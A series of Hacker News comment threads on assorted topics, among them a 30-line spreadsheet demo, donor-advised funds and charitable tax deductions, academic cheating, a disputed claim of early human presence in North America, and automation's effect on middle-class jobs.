Although it is impressive that an app like this can be created in such few
lines of code, I think it is a bad precedent as a programmer to have a goal to
write as least as many lines as possible. It leads to hacks and unmaintainable
code. I would rather have a method that has 10 lines of code that can be
easily understood, then a method with one line of code that is only understood
by the creator. That is not to say that one shouldn't focus as code reduction
via re-usability, but one should always write code the can be understood by
others.
~~~
mistercow
This code isn't particularly hard to understand, and that's one of the things
I was impressed with about it. If it were more than a demo, it would need
comments to explain its cleverer bits, but on the whole, it's pretty cleanly
written.
But I disagree that writing short programs for the sake of writing short
programs is a bad thing. Sure, you need to recognize that you can't take all
of the habits you get from it with you when doing stuff for production, but it
can be a good goal when creating prototypes. One big advantage is that it
prevents feature creep.
I wrote a library a while back called DelayedOp for wrangling async calls in
JS. Originally it was 5 lines of CoffeeScript, and I actually used it in that
form for a while. It's much bigger now and full of features to aid in
debugging. The key is that by writing it minimally to begin with, I got
something I could use and see what features I actually wanted to add. And
while I mourn the elegance of those original five lines, I also realize that
what it is now is far more useful and reliable.
------
dubcanada
My text disappears after I type it in and move on.
And why do you call a table an "excel-like" app? Can it so =SUM(); can it do
search and replace or the over 9000 other features of excel? No... it's a
table, with a editor.
~~~
Mikeb85
They made a fully functioning spreadsheet in 30 lines with no libraries. I'm
sure adding more functions is possible... You could probably even figure out
how to create a SUM function...
~~~
gtramont
You can create your built-in functions as this:
var DATA={ SUM: function(a,b) { return a+b; } }
Nice demonstration of language features, like 'with', that we usually take as
'bad practices'.
| {
"pile_set_name": "HackerNews"
} |
80% of US accepts that there’s a human role in climate change - pseudolus
https://arstechnica.com/science/2019/11/most-americans-support-efforts-on-climate-change-want-more-renewables/
======
mean_gene_1976
How does one extrapolate 80?
| {
"pile_set_name": "HackerNews"
} |
The Death of George Floyd, in Context - grumple
https://www.newyorker.com/news/daily-comment/the-death-of-george-floyd-in-context
======
grumple
I thought the lack of discussion of one of the more pressing matters of our
time continues to be an expression of privilege for HN.
Perhaps there are ways that tech / vc / others here can help.
~~~
metafunctor
While I find this case, and other similar crimes committed by the US police,
appalling... It's not a new phenomenon, does not gratify my intellectual
curiosity, and I've already heard about this in the TV news.
The HN guidelines are good, and they have been followed here.
If you have something more to say about this, perhaps write a blog post and
share that here.
| {
"pile_set_name": "HackerNews"
} |
The Oatmeal was temporarily shutdown by ICANN - alexkehr
http://www.name.com/blog/how-tos/2014/07/the-oatmeal-was-temporarily-shutdown-by-icann-heres-how-to-avoid-having-this-happen/
======
sp332
That link is giving a 403 error.
| {
"pile_set_name": "HackerNews"
} |
The Super-Rich Are Stockpiling Wealth in Black-Box Charities - petethomas
https://www.bloomberg.com/news/articles/2018-10-03/the-super-rich-are-stockpiling-wealth-in-black-box-charities
======
andrewla
This article makes my head hurt, as do so many discussions of charitable
giving. The only reason to give to charity is to benefit that charity.
Yes, donors get a deduction for charitable giving. But they are _ALWAYS_
better off (in terms of money received in their bank account) by _NOT GIVING
TO CHARITY_. There is no way to give money to charity in such a way that you
end up with more money than if you had not given to charity.
The article points out that there can be some hedging; the assets donated can
be managed and management fees paid to a manager before liquidation. And the
particulars of the valuations mean that they can sometimes get a larger
deduction than if they sold the asset and then donated the proceeds to
charity. And there are loopholes that allow them to claim a larger deduction
than the maximum deduction allowed in the tax code.
But no matter what, if they just sold the damn asset and kept the money, they
would have more money at the end of the day than they would having gone
through this rigmarole.
~~~
cowkingdeluxe
This is not true for assets that change in value and illiquid/non-marketable
assets.
Example:
Rich person buys asset for $10m. 3 years later gets it appraised for $75m,
knowing full well that no one would actually buy it for that.
Rich person then donates the '$75m' asset to charity. Rich person made more
money via charity rather than trying to sell the asset for $75m.
This is a very common strategy.
~~~
andrewla
This is indeed a very common strategy. It is also very commonly caught and
detected, and doing so is straightforward. At some point the asset get
liquidated. If the appraisal was done in good faith, then the taxpayer has to
pay the back taxes without penalties or prejudice. If the appraisal was
deliberately manipulated, then there is a strong possibility of criminal
charges and fines for evasion.
If the article genuinely depreciated in value, then the burden falls on the
taxpayer to prove this, and in illiquid markets this is very difficult to
establish.
~~~
guelo
The GOP already took care of that for them:
I.R.S. Tax Fraud Cases Plummet After Budget Cuts
[https://news.ycombinator.com/item?id=18115729](https://news.ycombinator.com/item?id=18115729)
~~~
masonic
Look at the charts in your own link, spanning 2007-17. Audit rates were
increasing under GWB, then plummeted over the course of the _Obama
administration_ into 2017.
~~~
guelo
The Republican congress got serious about attacking the IRS after the fake IRS
Tea Party scandal.
~~~
sosense
Fake scandal? No, that's re-writing history. Obama suggested the IRS target
his enemies, mostly conservative groups, and the IRS did exactly that. The
only thing fake about it is the news reports calling the scandal "fake."
~~~
pas
Do you have sources on Obama suggesting that?
Otherwise it's just a very baseless claim about an otherwise well documented
problem about a few IRS bureaucrats. (
[https://en.wikipedia.org/wiki/IRS_targeting_controversy](https://en.wikipedia.org/wiki/IRS_targeting_controversy)
)
~~~
masonic
Obama _appointees_ , yes, thanks to discovery pursued by Judicial Watch:
[http://www.breitbart.com/irs/2017/03/13/fitton-obama-irs-
sca...](http://www.breitbart.com/irs/2017/03/13/fitton-obama-irs-scandal-
continues-judicial-watch-forces-irs-disclose-new-documents/)
------
chottocharaii
For a great book on how these 'charities' are corrupting American politics,
and the specific tax loophole that enables them; check out the book 'Dark
Money' by Jane Meyer
Reforming this law would cause outrage among the non-profit and charity
sector, because it would instantly dry up alot of US philanthropy. It still
seems like a necessary reform however.
~~~
bilbo0s
> _It still seems like a necessary reform however..._
Why? (Serious question. As a matter of full disclosure, I've read 'Dark
Money'. To my mind, DAF's don't seem any more evil than any of the other much
larger pools of concentrated wealth out there. eg-corporate lobbying money. In
fact, the rules seem to make DAF's a good deal _less_ evil.)
~~~
Eridrus
[https://qz.com/1092737/us-tax-reformers-should-get-rid-of-
th...](https://qz.com/1092737/us-tax-reformers-should-get-rid-of-the-
charitable-deduction-too-bad-they-wont/)
~~~
bilbo0s
This link concerns the overall _idea_ of a charitable deduction, it's not
really about the funds.
My question was, "Why do _DAF_ s need to be reformed?"
Even if you got rid of the charitable deduction, you would still have things
like DAFs and Foundations.
Think of it this way, WRA came into being in 1917. But if you take, say, the
Carnegie Foundation, that's been around since 1905 at minimum. So even without
a charitable deduction, these foundations and DAFs would exist. So the
question is, why do they need to be reformed? (Or, more precisely, why do
_DAF_ s need to be reformed?)
You linked to an article explaining why you believe WRA to have been a bad
idea. (Or maybe why you believe that WRA has _become_ a bad idea? But either
way, it's about the reforms introduced by WRA, not specifically about DAFs.)
~~~
Eridrus
We should get rid of all charitable tax deductions, and then these funds would
simply cease to exist, because they only exist to capture these tax deductions
while preserving the donors' power.
I don't have any beef with the foundations, I have a beef with our tax policy.
~~~
bilbo0s
> _because they only exist to capture these tax deductions while preserving
> the donors ' power..._
That's just not the case. The reasons that a donor might choose a DAF are
legion.
Again, I won't go into them all, but let's take an example that is more common
than people realize. A donor who has passed on. _Sometimes_ in life, a
couple's children need encouragement to be kindly and generous. Let's put it
that way. DAFs are part of a somewhat complicated legal framework that can
have the effect of actually _obliging_ heirs to share the family's resources.
And of course there are a million _other_ reasons that one might be motivated
to use a DAF.
Point being, DAFs are not _solely_ used as a tax dodge. And the donors are not
seeing the benefits from the tax dodge in any case, the vast majority of that
benefit is going to the charities and the financial industry. (Heck, many of
the donors have even passed on, so of course they don't care about any tax
benefit. They made those arrangements for other reasons.)
~~~
Eridrus
I don't really believe that these other reasons are a major driver, but it
also doesn't matter one way or the other, we can get rid of the tax benefits
and let people keep the rest if they want.
I agree that the benefit is largely not accruing to the people claiming the
tax deduction, but it is a subsidy coming out of the public purse that we
should get rid of.
[EDIT]: Actually, I take that back, once you take into account the fact that
the amount people donate is not significantly impacted by the tax situation,
it seems clearer that the people getting the deduction are the ones getting
the benefit/subsidy.
~~~
zip1234
It's not coming out of the public purse. Those are not the public's funds to
begin with. The law was democratically decided to allow charitable donations.
~~~
Eridrus
And we can democratically repeal the tax deductions.
------
usaar333
I find it odd to blame DAFs rather than the absurd tax laws that enable them.
There are several oddities in our tax laws:
\- extremely generous treatment of donating long term appreciated property.
You deduct the FMV and also avoid paying capital gains tax. I have yet to
understand why we think it is good policy to offer both advantages. Allowing
only basis to be deducted (as is case for short term) seems much more
reasonable.
\- our tax system has a standard deduction that itemizations must go over to
see benefits
\- we have a progressive tax system that doesn't smooth over multiple years of
unsteady income.
I've been a big user of one myself, contributing heavily in a year of an IPO
(abnormally high income plus lots of highly appreciated stock). Using a Daf
allowed me to have more time to vet target charities; if they didn't exist, I
would have still donated heavily in the IPO year (because the tax benefits are
leveraging my donations), just less efficiently (less vetting).
Point being, the way our tax system handles charitable donations is what is
"unfairly" benefiting the rich; DAFs are just a symptom.
------
karmajunkie
It seems like a relatively simple fix for this is to set the same minimum
distribution requirements that private foundations have. The article mentions
5%, which seems like a safe level.
~~~
CompelTechnic
I don't think 5% is a safe level. There are many charities that intend to
operate in perpetuity, and this practice would eliminate this possibility.
~~~
bluGill
Seems like a good thing in general. I don't want a 1850s charity whose purpose
is to stop women from voting to still have money. (I doubt such a thing ever
existed)
Maybe a charity with the sole purpose to preserve some specific artifact (a
piano) or the like, but somehow I want it to not get more money than is
required for that purpose.
~~~
CompelTechnic
Seems to me like you are throwing the baby out with the bathwater.
Remember that the total amount of charitable giving is not a fixed pie. People
are more likely to give, and give more, when the are free to organize their
giving as they see fit.
~~~
logfromblammo
We should also not be indulging the whims of dead people at the expense of the
living.
------
qubax
This isn't new. It's been going on since the end of gilded age with wealthy
tycoons setting up family run charities and foundations. Rockefeller,
Carnegie, etc all did this. Gates is the most famous one to do this in recent
times.
It's a great way to shelter money from taxes and governments. It has been used
to fund worthwhile enterprises. But it could also be used to give wealthy
families political/institutional power for generations.
~~~
dahart
> This isn’t new.
Well, something here is new since the sum total of DAF contributions tripled
in 6 years. Are you referring to charities in general, or DAFs specifically?
This article is less about charities as a whole and more about a specific
style of donation where the funds accrue interest and are locked up and not
usable by the charity until later.
------
dumbfounder
If you can setup a non-profit like this they can theoretically give forever.
That is what the philanthropists are going for. They want their gift to keep
giving and be their legacy. Preventing that is not a good idea in my opinion.
~~~
petermcneeley
Western society is historically opposed to your "good idea"
[https://en.wikipedia.org/wiki/Rule_against_perpetuities](https://en.wikipedia.org/wiki/Rule_against_perpetuities)
In essence, the rule prevents a person from putting qualifications and
criteria in a deed or a will that would continue to affect the ownership of
property long after he or she has died, a concept often referred to as control
by the "dead hand" or "mortmain".
~~~
dumbfounder
This seems like a very narrow point directed at wills controlling real
property.
Harvard has a very large endowment it uses provide free tuition and much more,
but I would think the overall sentiment is positive about their actions. What
about the Norway's sovereign fund? Why would it be different for an individual
who wants to setup an organization to impact the world in some way in
perpetuity?
~~~
softawre
Because times change.
Would you want the "Keep the blacks as slaves" foundation to still be ticking
along these days?
A charity should have to get money from each generation to survive.
~~~
dumbfounder
There are a lot of charities I don't want, but I don't think I should have the
right to say what charities exist. Also, charities need people to run them,
they aren't soulless automatons that execute on whatever evil plan was
concocted by its benefactor. They are generally given broad direction and have
the ability to change over time.
~~~
petermcneeley
Yes but if you're a libertarian you dont believe in the enlightenment values
anyway. This law is to reduce the power of the dead over the living and to
allow them to chose their own path. This concept is similar to democracy where
the monopoly of physical power rests in the hands of a majority of the
populous.
~~~
dumbfounder
While we abide by the rules of government established by a document that that
is hundreds of years old?
~~~
petermcneeley
Even in the USA the reality is much more nuanced.
The USA of 1776 is quite different from today. I think one of the big breaks
was about states rights causing the civil war and effectively reconstituting
the country. Even something like free speech (probably one of more unique
things about USA) actually has its formulation in the 20th century. There are
more obvious things like constitutional amendments or changes in
interpretation.
Finally of course the USA is a creation of not abiding to the rules and
traditions of the UK.
The laws of the past are not a tyrant over us and should not be.
------
petermcneeley
Tax deductions for charities are anti democratic. Simply because it redirects
collective money which would be directed through a democratic process and puts
its control back into private hands. One can talk about potential corruption
with an individual charity, but the real sin is the very idea of privately
redirecting public funds.
~~~
prostoalex
The implicit social contract is that some charities (churches, Habitat for
Humanity, various food banks) pick up the slack where the government blind
spots are - food for the poor, housing, etc.
It also feeds into Americans' general belief of government's inability to deal
with local issues swiftly - democratic process sounds fine and dandy, but it's
pretty unrealistic to require extensive legislative processes to address one-
off issues in every town - families losing income, escaping abusive
significant others, needing help while transferring jobs, etc.
~~~
petermcneeley
These situations are also handled by government in many northern European
countries. (unemployment insurance, government housing, social work, free
school, free medicare)
~~~
prostoalex
The cost-benefit analysis of providing such services through centralized
government would look different for the US than European countries.
E.g., 20% of Swedes live in Stockholm, so a government-run hospital or food
bank there would be accessible to a larger share of Swedes than a similar
institution in NYC or LA.
------
jacobush
IKEA is famous for having an incredibly obfuscated control and ownership
structure with many foundations and charities.
~~~
RanInt1111
The topic of IKEA has always fascinated me because of the bizarre
contradiction between IKEA's public image of social responsibility and do-
goodery that is in stark opposition to it's dark financial, corporate, and
business practices. Between the nested dolls of corporate shell companies and
offshore accounts to basically pay zero taxes anywhere while claiming a mantel
of social responsibility is intriguing to me, not just for the way in which
they are so easily able to deploy dark patterns to fool people.
IKEA has been exposed as having used that shell game of corporations and
foundations to obscure illicit wood sourcing practices ... all the while
people feel good about buying furniture amidst a whirlwind of diversity and
social responsibility and environmentalist PR propaganda. It's utterly
fascinating to me, it's like observing how a cult leader operates to snare and
psychologically rope in their members and then brain wash them so thoroughly
that they can't even operate without anchoring everything in the cult. If you
were to strip away all the social justice, diversity, environmental
responsibility, social do-goodery propaganda, you are left with a corporation
that by all indications that are only available in a gleaning fashion, is
quite devious and malevolent. It's very existence as a company that produces
what is essentially throw away furniture alone, by itself, when you think
about it, is in stark contrast to the very notion of environmentalism and
ecological responsibility, even without examining their sourcing and
manufacturing practices.
It's all just such a fascinating exposition of the gaslighting nature of the
European corporate culture in general where the facade of social
responsibility that is projected outward to the commoners is in direct and
stark opposition to the nefarious activities and behaviors of the ruling elite
that remain obfuscated behind their now legal and tax and accounting walls,
where they would have remained hidden away behind castle walls in the past.
It's very much at the core of the subject article; where these "charities"
that serve to boost an image of benevolence, are actually far more self-
serving tax avoidance malevolence. I am all for lowering and doing away with
taxes whenever we can, but what is worse is dishonest and insincere taxation
and charity that are far more fraud and theft than the benevolent do-goodery
they are touted as being by the psychopathically dishonest.
Why should lower taxes only be something for the elite that saddle the middle
and lower classes with the costs of their exploitation? ... well, because
nothing has really changed from the aristocratic elite of the past, even
though the methods have shifted and the labels for them have been revised and
rebranded. All hail the king and our lords.
------
patrickg_zill
This is not really that new... as the 1954 Reece (Congressional) investigation
into charities showed:
[https://en.wikipedia.org/wiki/United_States_House_Select_Com...](https://en.wikipedia.org/wiki/United_States_House_Select_Committee_to_Investigate_Tax-
Exempt_Foundations_and_Comparable_Organizations)
Also, Wright Patman's report on Family Foundations and Charitable Trusts:
[https://openlibrary.org/works/OL11465104W/Tax-
exempt_foundat...](https://openlibrary.org/works/OL11465104W/Tax-
exempt_foundations_and_charitable_trusts_their_impact_on_our_economy)
------
kayhi
Looks like donating to charities to get a tax break, which seems fine. Is
there a way that they are controlling how these monies are spent?
~~~
kareemm
That's a fairly simplistic way of looking at it. Here's another way of looking
at it: taxpayers are subsidizing tax breaks for the rich.
Guy puts $1M in stock or some other non-cash asset that can change in value
into a DAF. Gets a tax receipt for $1M and uses it to reduce his taxable
income (this is where the subsidy happens).
The $1M may sit in the DAF for years, not going to work in the charitable
sector. It may depreciate in value. In this case when liquidated and moved
from the DAF to some charity actually doing charitable work, it may be worth
substantially less than $1M. Which means although taxpayers subsidized the $1M
donation, it's actually a lot less money that's actually put to work in the
charitable sector. Of course, it could also appreciate in value.
Source: I built an online DAF for 8 years that's taken in $410,000,000+ in
donations.
~~~
andrewla
> taxpayers are subsidizing tax breaks for the rich
I commented about this elsewhere in the thread. This is a ridiculous point of
view because there is no net tax break for the individual.
If instead of donating $1M in stock, they sold the stock and kept the money,
they would have more money than if they donated the stock and claimed the
deduction. They get to deduct the $1M, but they don't get to keep it as well.
> Which means although taxpayers subsidized the $1M donation
This is true, but seems like a net benefit. They get to give a gift of $1M
that only costs them $600k. But that's still $600k that they could have kept
and spent on gilded washing machines and penguin-egg omelets (I'm assuming
that this is what the rich spend their money on). Instead, that money, plus a
"matching" donation from the government of $400k, goes to a charity that can't
really directly benefit the donor.
~~~
kareemm
>> taxpayers are subsidizing tax breaks for the rich
> I commented about this elsewhere in the thread. This is a ridiculous point
> of view because there is no net tax break for the individual.
How is there no net tax break? In one scenario they keep the stock and pay
more tax, in the other they donate the stock and deduct the charitable gift.
> If instead of donating $1M in stock, they sold the stock and kept the money,
> they would have more money than if they donated the stock and claimed the
> deduction.
Unless they don't sell the stock. Or can't (yet) sell the stock (private
companies).
> They get to deduct the $1M, but they don't get to keep it as well.
Unless they control the recipient charity where the money ends up.
> This is true, but seems like a net benefit. They get to give a gift of $1M
> that only costs them $600k. But that's still $600k that they could have kept
> and spent on gilded washing machines and penguin-egg omelets (I'm assuming
> that this is what the rich spend their money on). Instead, that money, plus
> a "matching" donation from the government of $400k, goes to a charity that
> can't really directly benefit the donor.
You're missing my point. Often the money doesn't go to a charity doing
charitable work for years, if ever. Many DAFs only let you allocate the GAINS
on the principal to charity (in this case, the gains on $1M). DAFs are another
investment vehicle to minimize tax and maximize gains.
------
gumby
The unasked question here is why we even have the idea of special treatment
for nonprofits? Nonprofits pay the same as for-profits for their utilities,
computers, payroll and the like. Yet their existence permeates and distorts
the tax code.
------
lealephx
Just like the Clinton Foundation paying for Chelsea's wedding. Or paying for
the personal expenses of the family.
~~~
rconti
I had not heard of this because I don't live in that particular bubble.
I looked it up, and it is rated as 'Unproven'; appears to be likely untrue,
and based on who's pushing it, it's even less likely to be true.
[https://www.snopes.com/fact-check/clinton-foundation-paid-
fo...](https://www.snopes.com/fact-check/clinton-foundation-paid-for-chelseas-
wedding/)
------
newyankee
It is the same with most 'NGOS' in India
------
abuckenheimer
Really I think the specific the problem here with DAF's is just misaligned
incentives, the DAF values the donors donation but the government is the one
that has to pony up the tax rebate. Obviously there is some auditing mechanism
here where the valuation can't be too far from reality otherwise the
government would come down on it but in practice it seems like that is one of
their benefits. I think the more interesting and subtle problem though is that
the rebate is awarded at donation time instead of when the money actually gets
put to use which lets the DAF accrue fees on government money.
in a highly stylized example:
1\. A donor gives the DAF a $10m yacht
* DAF gives a donor $10m donation receipt
* Government gives donor <donor tax rate> * <donation receipt> rebate i.e. .30 * $10m = $3m
2\. DAF liquidates yacht into $9m cash and invests it
* the DAF charges .006 management fee on this for 5 years with a 5% return
3\. At the end of 5 years the DAF liquidates its investments and puts all of
that money to work on a cause.
* ~$11.2m goes to work on a charitable cause
* DAF has collected ~340k in fees
This is more or less the description the DAF in the article but now but we've
simplified to assume a conservative consistent return and that the whole
donation gets put to work at once at the end of a set term whereas more likely
it would be slowly liquidated over time. Now let's assume that instead of the
government paying up the tax rebate when the donation is made that it is paid
out when the money left the DAF and went to work on a cause.
1\. donor gives a DAF $10m yacht
* DAF values it at $9m and gives the donor <donor tax rate> * <donation receipt> rebate i.e. .30 * $9m = $2.7m
2\. DAF liquidates yacht into $9m cash, covers their $2.7m rebate outlay and
invests $6.3m
* the DAF charges .006 management fee on this for 5 years with averages a 5% return
3\. At the end of 5 years the DAF liquidates its investment and puts all of
that money to work on a cause.
* ~$7.8m from the DAF goes to work on a charitable cause + a $2.7m from the government to match that original rebate for a total of ~$10.5m
* DAF has collected ~238k in fees
What's the difference here?
1\. The government saves $300k on a rebate because the DAF has to liquidated
the yacht to come up with the money to pay the rebate so the valuation is
based on something the reflects the actual cash
2\. The government keeps <rebate amount> ($2.7m in this case) in its bank
account for the 5 years while is in the DAF. This means the government can use
it for it's own operations over that time period rather than it sitting in the
"warehouses of wealth". It also means the DAF can't collect fees on this money
because it is not managing it.
I'm not trying to make a statement on if the government should or should not
subsidize donations to charity, just point out how that subsidy seems to be
leveraged by the introduction of DAFs against its original intent.
sorry for the terrible formatting
------
anon49124
Silicon Valley Community Fund has an endowment of between Stanford's and
Harvard's, around $14 billion USD. The reason is that backers can pledge funds
and get tax advantages now, while deferring transfer of funds/assets until
later. It's also under no obligation to help anyone, and donors can put
strings attached to realize their own pet projects. IOW, the whole thing is a
tax-dodge.
~~~
URSpider94
That’s not correct, you can not take a tax benefit until you actually turn
over control of the assets to the fund. “Pledges” do not generate tax
deductions.
------
pacoWebConsult
Everyone is mentioning Gates but the same thing was done by the Clintons and
McCains
~~~
epmaybe
This is a technology focused website, hence why Gates is mentioned more than
political figures.
------
readhn
Interestingly this is apparently how some corrupt russian government officials
like to hide/park their dirty cash/bribes etc. funnel money/bribes/transfer
assets into "charities", then have charities buy/own the assets you are
interested in owning... houses, yachts etc. Then they have interesting
situations where on paper a charity owns a villa ... but in reality a high
profile politician lives in it.
This is charity abuse taken to the extreme, but i have a feeling russians have
copied the approach from their western counterparts.
[https://themoscowtimes.com/news/prime-minister-medvedevs-
sup...](https://themoscowtimes.com/news/prime-minister-medvedevs-supposed-
secret-empire-is-russias-biggest-charity-group-57820)
| {
"pile_set_name": "HackerNews"
} |
High-Tech Cheating Abounds, and Professors Bear Some Blame - ilamont
http://chronicle.com/article/High-Tech-Cheating-on-Homework/64857/?sid=wc&utm_source=wc&utm_medium=en
======
makecheck
Seems like it's time to randomize questions. And technology could be used for
this, too.
It wouldn't be too hard to come up with something that changes a few key
numbers in each question, and reorders all the questions. This could be used
to automatically generate the answer key for the professor, too. Each student
could be given a personalized assignment, that is useless to copy from
anywhere else.
------
zFlix
This seems to miss the one rationalization I saw most in my college days for
'technological detachment phenomenon'. That being that "in the real world, it
doesn't matter how i got the right answer". I don't fully agree with the
statement, but its worth a thought at least.
~~~
mquander
Of course it matters how you get the right answer. That's the whole fucking
point of our schools. If you get the right answer via careful study and
practice, you tend to learn something useful, and if you get the right answer
via cheating, you probably don't learn shit. The exact same thing is true in
the "real world."
I've heard that too, of course, but I disagree that it's worth a thought. The
only implication of that remark is that college is a waste of time for the
speaker thereof.
| {
"pile_set_name": "HackerNews"
} |
Show HN: A local multilistener realtime radio station based on YouTube - FedericoElles
I'm working on this since months during some spare work time at my company and before knowing about turntable.fm.
Maybe some office worker here have the same niche problem as we did and find this useful. Feedback highly appreciated.<p>Intro (telling the story behind it): http://shufflingsux.appspot.com/html/radiocracy.html<p>Try it: http://shufflingsux.appspot.com/html/radiocracy_new.html
======
tobylane
How is the bandwidth use, do the clients only get the audio or the video as
well? I'd like a single-user version of this that works with keyboard media
hotkeys, possible?
~~~
FedericoElles
No, clients are only remotes. There are already (much better) single-user
YouTube playlist webapps. Bandwidth: YouTube Steam + some Ajax and Google Chat
running in the background of Client and Server.
| {
"pile_set_name": "HackerNews"
} |
Mastodon Bone Findings Could Upend Our Understanding of Human History (2017) - curtis
https://www.nbcnews.com/science/science-news/mastodon-bone-findings-could-upend-our-understanding-human-history-n751406
======
zipwitch
The answer is obvious: time-travelers on a 'paleo hunting experience' trip.
"We'll just target 100,000 years before the earliest known human presence."
------
xenophonf
I'm skeptical. From
[https://np.reddit.com/r/todayilearned/comments/9i7sta/til_pa...](https://np.reddit.com/r/todayilearned/comments/9i7sta/til_paleontologists_have_dug_up_a_130000yearold/e6hpd5b/):
_Professional archaeologist checking in. I hate to spoil the party, but the
argument this represents evidence of human occupation of North America 130
thousand years ago doesn 't hold water._
_First, there isn 't even consensus that Homo sapiens left Africa by that
time. Additionally, the preponderance of evidence shows humans didnt occupy
fully glacial environments until 80+ thousand years later, which would be
necessary to make it to NE Asia and North America. The claim they were in
North America by 130 thousand years ago is inconsistent with all available
archaeological and genetic evidence (a whole other topic)._
_Second, the argument that the "tools" and bone modification seen at this
site were made by people doesn't hold up either. There are many natural
processes that can mimic these types of breakage. There are diagnostic
features of stone tools and broken bones produced by humans, but none of them
are present on the objects Holen et al. point to._
_Holen has a long history of making similar claims with no real evidence. He
consistently fails to rule out obvious natural processes at sites he works at.
I have personally seen him pick up a piece of naturally fractured fossil bone
from a flood deposit and say "see, people." This is science by press release
at it's worst, and there is good reason no other archaeologists accept his
arguments. Unfortunately flashy headlines with extraordinary claims grab the
press._
_Don 't get me wrong, I would LOVE for this to be true. Finding evidence for
a much earlier occupation of North America would be super exciting. But as a
responsible scientist, I have to go with the evidence._
------
rossdavidh
Idea for a research project: find as many "...could upend our
understanding..." and similarly titled papers as possible, that are at least a
few years old, and see what percentage of them actually do, in fact, upend our
understanding of the field in question. I'm thinking, uh, less than 50%.
~~~
dmix
Move over tech, it seems every week archaeology/paleontology is completely
revolutionizing our understanding of the world on a weekly basis!
------
d--b
Could it not be that some dudes 5000 years ago excavated the remains of the
beast, and decided to turn the tusk into a coffee table?
I mean... when they find 130000 year-old human bones, then we'll know... Until
then...
------
dynofuz
could this be related to the younger dryas impact
[https://en.wikipedia.org/wiki/Younger_Dryas_impact_hypothesi...](https://en.wikipedia.org/wiki/Younger_Dryas_impact_hypothesis)
[https://cometresearchgroup.org/comets-diamonds-
mammoths/](https://cometresearchgroup.org/comets-diamonds-mammoths/) im not
sure what to think about that, as i just heard of this hypothesis recently.
Maybe north america was well inhabited and all the humans got wiped?
~~~
nickbauman
I don't think so: the Younger Dryas interlude was well more than 100,000 years
after this even took place.
~~~
dynofuz
previous research cited in this article says "The oldest widely accepted site
for the first Americans dates to just 13,000 years ago." this coincidences
well with the 12,800 years ago Younger Dryas event.
~~~
nickbauman
The site was dated over 100,000 years ago?
------
sunstone
Hmmm, looking through the comments it looks very much like no one has read the
article as the comments assume that the humans were Homo Sapiens. In fact the
article speculates that the humans where either neanderthals or Denisovans.
The earliest neanderthals date to 400k years ago. And the high arctic at the
time of this find 130k years ago was pretty much one cold dry circumpolar
ecosystem as ocean levels were much lower than today. Given all of this
context it's not really insane to think this could have happened though of
course more evidence is needed.
------
SmellyGeekBoy
Perhaps OT, but these discoveries never seem to actually "upend our
understanding of human history", they just refine it by changing our previous
assumptions about various timelines.
Discovering that we were put here by aliens 6000 years ago would be an
upending.
~~~
fosco
any thoughts on having a 'clickbait' headline vote button?
Does anyone think this would be helpful? what can be done about headlines
written like this one and their relationship to HN
Any thoughts on what we cando to help journalists write better headlines as
well in newspapers etc?
~~~
MaxBarraclough
I'd be in favour of a Clickbait button. Clickbait may be par for the course in
many parts of the web, but I expect better from Hacker News.
As it is, it _generally_ succeeds in keeping it out, but not always.
------
aaaaaaaaaab
Off: I chuckle everytime I’m misled like this when skimming through HN titles.
Yesterday there was a piece about Kafka (the writer, not the event stream) and
now this Mastodon stuff.
~~~
mywittyname
The title seems inline with the quotes from experts:
> _“My first reaction on reading this paper was ‘No. This is wrong.
> Something’s wrong, '” said stone tool expert John McNabb of the University
> of Southampton in Britain. “If it does turn out to be true, it changes
> absolutely everything.”_
And
> _“This discovery is rewriting our understanding of when humans reached the
> New World,” Judy Gradwohl, president and CEO of the San Diego Natural
> History Museum, said in a statement._
Those quotes were probably cherry picked and a little out of context, but when
experts in the field use such strong language, I think it's justified for
reporters to do the same.
~~~
brittohalloran
I believe the original comment was referring to being misled / confused about
the decentralized social network Mastodon
([https://joinmastodon.org/](https://joinmastodon.org/)), not being misled as
to the significance of the finding.
~~~
mywittyname
Oh, I get it.
| {
"pile_set_name": "HackerNews"
} |
Recession, tech kill middle-class jobs - dgunn
http://news.yahoo.com/ap-impact-recession-tech-kill-middle-class-jobs-051306434--finance.html
======
up_and_up
So is it Man over machine or machine over Man?
Seem like the real issue lies in the trend toward optimization in every part
of the economy, from the small business owner to large corporations etc.
Case in point, I worked for a startup in 2008 that had a FT sysadmin and
actual rack servers/real hardware etc. Same guys started a new company in
2012, minus a sysadmin and hardware. The ease/price of EC2 just makes too much
sense. I saw that happening.
One has to be careful to watch the trends and not be on the wrong side of
history (like a sysadmin who is not open to cloud and devops at this point).
But how are most non-tech savvy employees going to keep up with the times?
Most likely they will be outmoded and seen as expendable.
My question is how far will that go?
~~~
up_and_up
Not sure why this was downvoted. Care to give feedback?
------
greghinch
This seems like an inevitable outcome of everything that "we" (the startup and
tech communities) are doing. Nearly every startup business I've seen on HN is
about an optimization of an existing industry. Almost invariably, optimization
means cutting people out of the loop, as people are quite slow at a lot of the
tasks computers are suited for.
The problem is of course the growing disparity between pay. As the existing
middle is eliminated, the majority of people are trending towards the lower
segment of pay (the 29/2/~70 ratio mentioned). Ideally we'd find a way to
elevate a large portion of those in the lower 70% area to higher paying jobs.
I think the reality is, many of those people probably will never be suited for
jobs in the $100k+ range. The only solution I can see being viable is further
socialization (in the US) of things like medical care, transportation, etc. in
order to ensure that just because you don't have a high salary, doesn't mean
you can't have a high quality of life. Either that or accept that the US is
devolving into a 3rd world country.
Bring on the "socialist" flames.
~~~
kyllo
All repetitive labor will eventually be automated. It is only a matter of
time.
The problem with capitalism and tech is that the efficiency gains realized
through automation nearly all go to the owners of the firms. The human
laborers replaced by programs and robots are just S.O.L. Capitalism only works
for a society as long as capital owners need human labor to carry out
production.
"The only solution I can see being viable is further socialization (in the US)
of things like medical care, transportation, etc. in order to ensure that just
because you don't have a high salary, doesn't mean you can't have a high
quality of life. Either that or accept that the US is devolving into a 3rd
world country."
Yes. Either we implement basic income and universal healthcare, and improve
access to public services, or we will end up with a tiny, but very wealthy
"owner" class, and a very large, unemployed, impoverished majority.
Better to do it soon, while it's still a choice, rather than later, when it
isn't. History has shown that the masses will only put up with so much
inequality before they openly revolt.
An opposing force to this, though, is that increased automation will continue
to reduce costs and barriers to entry, allowing people with almost no
resources to start some form of income-generating online "lifestyle business."
A lot of people are doing this now, but not nearly enough people are capable
of it, for it to be a sustainable career option for almost the entire American
middle class. Yet.
~~~
greghinch
The lifestyle business prospect is interesting, as mentioned in that Forbes
article that hit the front page[1], there is the possibility for many to start
making a steady living in the sharing economy. I'm involved with a business
working in the arena, and the possibilities are intriguing. Whether or not it
becomes a sustainable economy for the longer term is still pretty up in the
air
